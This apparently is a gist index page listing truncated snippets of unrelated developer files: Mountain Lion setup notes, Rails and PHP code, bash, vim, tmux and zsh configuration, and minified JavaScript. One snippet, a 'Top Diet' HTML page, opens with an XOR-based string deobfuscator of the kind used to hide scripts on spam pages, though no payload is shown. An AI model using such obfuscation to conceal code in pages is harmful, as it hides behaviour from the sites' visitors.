Mountain Lion (10.8) has three main difference compared to Lion (10.7):
- XCode 4.4 does not install Command Line Tools by default
- X11 isn't available anymore
- The installed version of OpenSSL has some bugs
class SomeController < ApplicationController | |
def update | |
handle_response SomeEvent::Update.new(params).invoke | |
end | |
private | |
## | |
# Performs some default action on the response. Probably just returns the |
function parse_git_branch { | |
ref=$(git symbolic-ref HEAD 2> /dev/null) || return | |
echo "("${ref#refs/heads/}") " | |
} | |
white='\[\e[37;1m\]' | |
green='\[\e[32;1m\]' | |
blue='\[\e[34;1m\]' | |
red='\[\e[31;1m\]' | |
nocolour='\[\e[0m\]' |
et guifont=Consolas:h18 | |
set textwidth=80 | |
set tabstop=2 | |
set shiftwidth=2 | |
set expandtab | |
set spell | |
set nocompatible | |
filetype off |
<?php | |
/* | |
* I looked into this for a bit and I must say I was a bit confused | |
* until the answer smacked me in the face. | |
* | |
* The 'fn3' isn't doing what you think it's doing. Upon glancing at | |
* the code it may appear that $this->a['first'] is having the value | |
* 'foo' appended to it (which doesn't make sense because | |
* $this->a['first'] is a string, not an array). |
<?php | |
class Test{ | |
public static function __callStatic($method, $arguments) | |
{ | |
echo $method . PHP_EOL; | |
} | |
public function __call($method, $arguments) | |
{ | |
echo $method . PHP_EOL; | |
} |
# screw the mouse | |
set-window-option -g mode-mouse off | |
# scrollback history | |
set -g history-limit 5000 | |
# "I' == current window index | |
# 'H' == Hostname | |
# 'F' == current window flag | |
# 'P' == current pane index |
# Path to your oh-my-zsh configuration. | |
ZSH=$HOME/.oh-my-zsh | |
# Set name of the theme to load. | |
# Look in ~/.oh-my-zsh/themes/ | |
# Optionally, if you set this to "random", it'll load a random theme each | |
# time that oh-my-zsh is loaded. | |
ZSH_THEME="derp" | |
# Example aliases |
<!DOCTYPE HTML> | |
<html> | |
<head> | |
<title>Top Diet</title> | |
<script> | |
function aobi6q(s) { | |
var key=96; | |
var str = decodeURIComponent(s); | |
var xored = ""; |
(function(e) { | |
"use strict"; | |
function t() { | |
this.data = {} | |
} | |
function n() { | |
this.listeners = new t | |
} | |
function r(e) { |